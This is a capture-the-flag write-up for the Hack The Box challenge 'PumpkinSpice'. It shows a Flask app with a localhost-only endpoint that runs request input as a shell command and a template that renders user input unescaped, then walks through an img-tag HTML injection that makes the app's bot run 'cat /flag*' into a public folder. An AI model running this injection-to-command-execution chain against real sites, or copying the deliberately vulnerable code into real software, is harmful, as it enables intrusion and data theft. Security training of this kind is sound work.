PumpkinSpice
3 minutes to read
We are given the following website:
We also have the Python source code of the server (Flask).
Source code analysis
The relevant file is app.py
:
import string, time, subprocess
from flask import Flask, request, render_template, abort
from threading import Thread
app = Flask(__name__)
addresses = []
def start_bot():
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
host, port = "localhost", 1337
HOST = f"http://{host}:{port}"
options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage")
options.add_argument("--disable-infobars")
options.add_argument("--disable-background-networking")
options.add_argument("--disable-default-apps")
options.add_argument("--disable-extensions")
options.add_argument("--disable-gpu")
options.add_argument("--disable-sync")
options.add_argument("--disable-translate")
options.add_argument("--hide-scrollbars")
options.add_argument("--metrics-recording-only")
options.add_argument("--mute-audio")
options.add_argument("--no-first-run")
options.add_argument("--dns-prefetch-disable")
options.add_argument("--safebrowsing-disable-auto-update")
options.add_argument("--media-cache-size=1")
options.add_argument("--disk-cache-size=1")
options.add_argument("--user-agent=HTB/1.0")
service = Service(executable_path="/usr/bin/chromedriver")
browser = webdriver.Chrome(service=service, options=options)
browser.get(f"{HOST}/addresses")
time.sleep(5)
browser.quit()
@app.route("/", methods=["GET"])
def index():
return render_template("index.html")
@app.route("/addresses", methods=["GET"])
def all_addresses():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
return render_template("addresses.html", addresses=addresses)
@app.route("/add/address", methods=["POST"])
def add_address():
address = request.form.get("address")
if not address:
return render_template("index.html", message="No address provided")
addresses.append(address)
Thread(target=start_bot,).start()
return render_template("index.html", message="Address registered")
@app.route("/api/stats", methods=["GET"])
def stats():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
command = request.args.get("command")
if not command:
return render_template("index.html", message="No command provided")
results = subprocess.check_output(command, shell=True, universal_newlines=True)
return results
if __name__ == "__main__":
app.run(host="0.0.0.0", port=1337, debug=False)
We can only interact directly with /add/address
:
@app.route("/add/address", methods=["POST"])
def add_address():
address = request.form.get("address")
if not address:
return render_template("index.html", message="No address provided")
addresses.append(address)
Thread(target=start_bot,).start()
return render_template("index.html", message="Address registered")
The endpoint simply takes our parameter address
and appends it to the global list addresses
. Then, it starts the bot:
def start_bot():
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
from selenium.webdriver.support.ui import WebDriverWait
host, port = "localhost", 1337
HOST = f"http://{host}:{port}"
options = Options()
# ...
service = Service(executable_path="/usr/bin/chromedriver")
browser = webdriver.Chrome(service=service, options=options)
browser.get(f"{HOST}/addresses")
time.sleep(5)
browser.quit()
The bot makes a request to /addresses
:
@app.route("/addresses", methods=["GET"])
def all_addresses():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
return render_template("addresses.html", addresses=addresses)
Since the bot is local, the endpoint will render the addresses.html
template:
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta name="author" content="lean">
<title>🎃 PumpkinSpice 🎃</title>
</head>
<body>
<h1>System stats:</h1>
<p id="stats"></p>
<h1>Addresses:</h1>
{% for address in addresses %}
<p>{{ address|safe }}</p>
{% endfor %}
<script src="/static/js/script.js"></script>
</body>
</html>
The safe
keyword indicates the template engine that the data inside address
must be considered safe, so there is no need to escape HTML especial characters. As a result, we can inject arbitrary HTML code inside address
.
Our target is to call /api/stats
because it allows us to execute any system command:
@app.route("/api/stats", methods=["GET"])
def stats():
remote_address = request.remote_addr
if remote_address != "127.0.0.1" and remote_address != "::1":
return render_template("index.html", message="Only localhost allowed")
command = request.args.get("command")
if not command:
return render_template("index.html", message="No command provided")
results = subprocess.check_output(command, shell=True, universal_newlines=True)
return results
But the request must come from localhost
, so the request must be performed by the bot using a Cross-Site Request Forgery (CSRF) attack. Luckily, we have HTML injection, so we can inject an img
tag that points to that endpoint with the command we want. For instance:
<img src="/api/stats?command=cat+/flag*+>+/app/static/flag.txt">
Notice that we must use a wildcard (/flag*
) because the filename is randomized in entrypoint.sh
:
#!/bin/ash
# Change flag name
mv /flag.txt /flag$(cat /dev/urandom | tr -cd 'a-f0-9' | head -c 10).txt
# Secure entrypoint
chmod 600 /entrypoint.sh
# Start application
/usr/bin/supervisord -c /etc/supervisord.conf
Also, notice that we are copying the flag to a public directory of the web server, so that we can access afterwards with no limitation.
Flag
So, we use the above HTML injection payload for CSRF:
At this point, we can request the flag:
$ curl 94.237.54.65:32993/static/flag.txt
HTB{th3_m1s5i0n_f0r_4_fre3_tr34t}